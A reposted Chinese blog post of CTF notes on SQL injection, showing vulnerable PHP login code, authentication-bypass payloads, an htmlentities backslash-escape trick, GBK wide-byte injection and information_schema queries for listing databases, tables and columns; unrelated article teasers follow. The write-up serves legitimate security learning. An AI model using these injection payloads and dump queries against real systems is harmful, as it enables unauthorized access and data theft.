SQL 注入笔记

news/2025/12/7 17:43:21/文章来源:https://www.cnblogs.com/PenGoFox/p/19318496

SQL Injection

CG-CTF-WEB

SQL 注入

一般都是弄到源码之后,根据源码和能输入的字符,闭合某些字段,屏蔽后面的字段,然后在这中间插入自己的查询语句。

简单的注入

原题:SQL注入1

源网页代码如下:

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$user = trim($_POST[user]);$pass = md5(trim($_POST[pass]));$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";echo '</br>'.$sql;$query = mysql_fetch_array(mysql_query($sql));if($query[user]=="admin") {echo "<p>Logged in! flag:******************** </p>";}if($query[user] != "admin") {echo("<p>You are not admin!</p>");}
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

分析源代码,可以发现程序员对我们的输入进行了一定的反注入设置,特意在条件里面添加了引号和括号。

不过这个注入也是很简单,提前匹配引号和括号即可,至于后面的,可以使用注释符号 # 来注释掉。

输入的 username 为:') or 1=1 #'password 可以不用管,然后就能构造出以下的 sql 语句了:

select user from ctf where (user='') or 1=1 #')' and (pw='')

提交之后,成功获得 flag 。

绕开 htmlentities

原题:SQL Injection

参考:PHP htmlentities() 函数

PHP 代码如下:

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';function clean($str){if(get_magic_quotes_gpc()){$str=stripslashes($str);}return htmlentities($str, ENT_QUOTES);
}$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){die('Invalid password!');
}echo $flag;

可以通过注入来获取 flag 。但是因为有一个 clean() 函数,里面的 htmlentities() 函数是把字符串转化为网页可显示的字符串,也就是会转义单引号、双引号等字符。因此就不能直接写 sql 语句进行注入。

不过题目提示的有 反斜杠可以用来转义 。由于经验不是很足,所以在看到提示之后也还是没有什么头绪,最后在网上找了一下 writeup 看了下,发现可以把 name = '' 里面最后一个单引号转义掉,这样 name 后面第一个单引号就能够跟 pass = '' 前面的单引号配对了,此时只需要在传递的 username 的字符串最后加一个反斜杠 \ 就可以转义了。

下面是浏览器的请求:

?username=admin \&password= or 1=1 %23

就能构造出以下的 query 了:

SELECT * FROM users WHERE name='admin \' and password = ' or 1=1 #'

完成注入,获得 flag !

宽字符注入(GBK 注入)

参考:gbk字符编码和宽字节sql注入 、CGCTF——GBK Injection

在 SQL 中,假如第一个字符的值大于 128 ,则它会被认为是一个汉字的首字节(认为汉字是2个字节),然后就可以在浏览器输入一些字符达到这个条件来注入。

比如,有这样一条 sql 语句:

select id, title from news where id = '1';

这个是固定的 sql 语句,我们能够在浏览器改变的是 id 的值。

因为 PHP 默认会对所有的 GET、POST 和 COOKIE 数据自动进行 addslashes(),我们输入的单引号会被处理成为 \' ,利用这个特点和宽字符的特点,我们完全可以构造一个宽字符,直接把处理后的 \' 里面的 \ 当做是汉字的第二个字节,然后后面的 ' 就会封闭 id 字段的查询,进行后面的注入操作了:

select id, title from news where id = '1珮' and 1=2 #';

构造出这条 sql 语句的浏览器输入为:

?id=1%af%27and 1=2 %23

解析:只要有一个字符的值大于 128 时就可以被判断成汉字,所以 1 后面的字符可以是任意大于 128 的字符。浏览器输入的这条语句在经过 addslashes() 后,会在 %27 也就是 ' 前加一个反斜杠变成 \' ,然后 %af 字节跟 \ 字节在 mysql 中就被认为是一个汉字而过滤掉反斜杠,然后就剩下一个单引号闭合前面的单引号,后面就可以加入自己的 sql 语句了。

一些爆表的语句

来源于网络:CG-CTF的GBK - injection

  • 爆出数据库的名字

    select database();
    
  • 爆出数据库下的所有表名

    select group_concat(table_name) from information_schema.tables where table_schema=数据库名;
    
  • 爆出某个表的所有字段

    select group_concat(column_name) from information_schema.columns where table_name=表名;
    
  • 获取所有的表数据

    select group_concat(字段名1,字段名2) from 表名;
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/991641.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025新疆泓浩机电出租实力榜:甲醇与移动式发电机租赁领跑,六家高潜力本土服务商深度解析

2025新疆泓浩机电出租实力榜:甲醇与移动式发电机租赁领跑,六家高潜力本土服务商深度解析 随着我国“双碳”目标的深入推进与能源结构的持续转型,工业与商业领域的电力保障需求呈现出多元化、清洁化与灵活化的新趋势…

windows使用.bat文件启动jar - 华

windows使用.bat文件启动jar1.创建启动.bat文件@echo off set path=C:\Program Files\Java\jdk1.8.0_201\jre\bin START "demi-project" "%path%\javaw" -jar demo-0.0.1-SNAPSHOT.jar pause//set…

车载测试概念及流程

ASPICE测试流程测试工程师分工测试内容介绍测试流程介绍作业1:测试用例设计用例ID 测试场景 前置条件 测试步骤 预期结果TC1 默认状态验证 1. 车辆配置副驾座椅迎宾功能(配置=1)2. IGN ON 1. 不进行任何操作,观察I…

2025工业除尘设备厂家实力榜:东莞市百谊环保科技以高效脉冲技术领跑,六家核心本土品牌优势深度解析

2025工业除尘设备厂家实力榜:东莞市百谊环保科技以高效脉冲技术领跑,六家核心本土品牌优势深度解析 随着中国制造业向高端化、智能化、绿色化转型,工业粉尘治理已从简单的环保合规要求,演变为保障生产安全、提升产…

2025深圳亿图机电模切设备实力榜:智能激光与圆刀技术领跑,六大高潜力本土品牌核心优势深度解析

2025深圳亿图机电模切设备实力榜:智能激光与圆刀技术领跑,六大高潜力本土品牌核心优势深度解析 在精密制造与柔性材料加工领域,模切、刻绘、贴标等工艺是决定产品精度、效率与外观的关键环节。随着消费电子、新能源…

python题库 No.25 分班啦!

夜曲编程要分班,包括夜曲和编程两类班,共分10个班,从夜曲1班到夜曲5班,从编程6班到编程10班 ,最后将分好的班级两个列表输出。 输出示例:---分班完毕--- [夜曲1班, 夜曲2班, 夜曲3班, 夜曲4班, 夜曲5班] [编程6班…

2025燕窝品牌实力排行榜:广东嘉燕健康科技以创新鲜炖工艺领跑,六家高潜力本土企业深度解析

2025燕窝品牌实力排行榜:广东嘉燕健康科技以创新鲜炖工艺领跑,六家高潜力本土企业深度解析 随着国民健康意识的提升和消费升级,燕窝作为传统滋补品的代表,正经历着从原料到即食、从传统到现代的深刻变革。市场不再…

nvm切换node.js版本 - 华

nvm切换node.js版本nvm下载地址:https://github.com/coreybutler/nvm-windows/releases 下载nvm-setup.zpi 1.点击nvm-setup.exe安装 2.选择nvm安装路径(这个不要安装在C盘) 3.选择node.js路径 4.确认安装 5.安装完毕…

2025东莞皓富电子实力榜:防水DC插座与耳机插座六家创新技术代表企业核心优势深度解析

2025东莞皓富电子实力榜:防水DC插座与耳机插座六家创新技术代表企业核心优势深度解析 在现代电子设备日益精密化、功能集成化与使用环境多样化的趋势下,连接器作为信号与电力传输的关键节点,其性能与可靠性直接决定…

python题库 No.26 城市整理

城市大整理啦!请将下面城市(列表cities)四川省城市外的城市删除。 最后输出结果。 要求:循环体通过for循环实现。实际答案: cities = ["四川成都","四川泸州","四川雅安","湖…

排序分页查询出现重复数据,但数据库的数据无重复 - 华

排序分页查询出现重复数据,但数据库的数据无重复原因:当排序的列的值相同时会出现这种状态,查询全部没有问题,但是分页查询会出现数据重复 解决:一个排序列的内容相同 就再增加一个排序列 增加的排序列 确定列的值…

2025东莞裕盈纸业实力榜:彩色坑纸与特殊瓦楞纸板六家高潜力技术代表企业深度解析

2025东莞裕盈纸业实力榜:彩色坑纸与特殊瓦楞纸板六家高潜力技术代表企业深度解析 在包装工业日益追求个性化、功能化与环保化的今天,瓦楞纸板作为核心基材,其技术演进正深刻影响着下游产业的竞争力。传统的棕色瓦楞…

2025东莞大信自动化大回旋切断机厂家实力榜:六家高精度国产技术代表企业核心优势深度解析

2025东莞大信自动化大回旋切断机厂家实力榜:六家高精度国产技术代表企业核心优势深度解析 在生活用纸、无纺布、特种材料等柔性卷材加工领域,大回旋切断机作为后道加工的核心设备,其切割精度、运行稳定性与自动化水…

python题库 No.24 爱菠萝不爱榴莲

明明爱吃菠萝,不爱吃榴莲。列表fruits储存着不同的水果,遍历该列表,遇到不喜欢吃的"榴莲"不输出(跳过),遇到喜欢吃的"菠萝"就结束循环。 最后输出遍历的结果。实际答案: fruits = ["橘…

我们之间的回忆

我们之间的回忆 全部都小心地收集 我总是偷偷地哭泣 像倦鸟失了归期 但愿我相信的爱情 结局紧握在我手心 时光匆匆却没有遗失过去 希望我们 有光明的未来 还有能够装下星空的期待 可现实为何让我感到如此懈怠 总怀念相…

如何通过API运行Mistral 7B大语言模型

本文介绍了Mistral 7B这款开源大语言模型的性能特点,包括其使用最新训练数据、更快的推理速度及优秀的代码生成能力,并详细提供了通过JavaScript、Python及直接调用HTTP API等多种方式运行该模型的代码示例。Mistral…

Rust愿景文档编写过程的启示:从用户调研到社区洞察

本文详细介绍了Rust愿景文档的编写过程,包括通过广泛的用户调查和深度访谈收集社区反馈的经验与教训,探讨了Rust技术在不同领域的应用价值、社区发展挑战,并提出了建立专门用户研究团队的建议。Rust愿景文档编写过程…

python题库 No.27 如此存钱

阿亮计划存钱,但是计划赶不上变化。 他第一天存1元,第二天花2元,第三天又存3元,第四天又花4元,以此类推,即:1,-2,3,-4,5,... 阿亮同样存了99天,最后又剩多少钱了呢? 最后输出结果。实际答案: result = …

oracle数据库 - 华

oracle数据库目录:1.导入导出dmp文件 6.函数2.删除用户下所有的表     7.存储过程和存储函数  3.数据闪回 8.视图4.序列            9.事物回滚…

python题库 No.23 夜曲美美哒

夜曲N班有8位学生,大家都很美,名字存储在列表names中,请你找出名字中也含"美"的同学,并计算名字含"美"的同学个数。 最后输出名字含"美"的同学的名字以及个数。 输出示例:美丽 美花…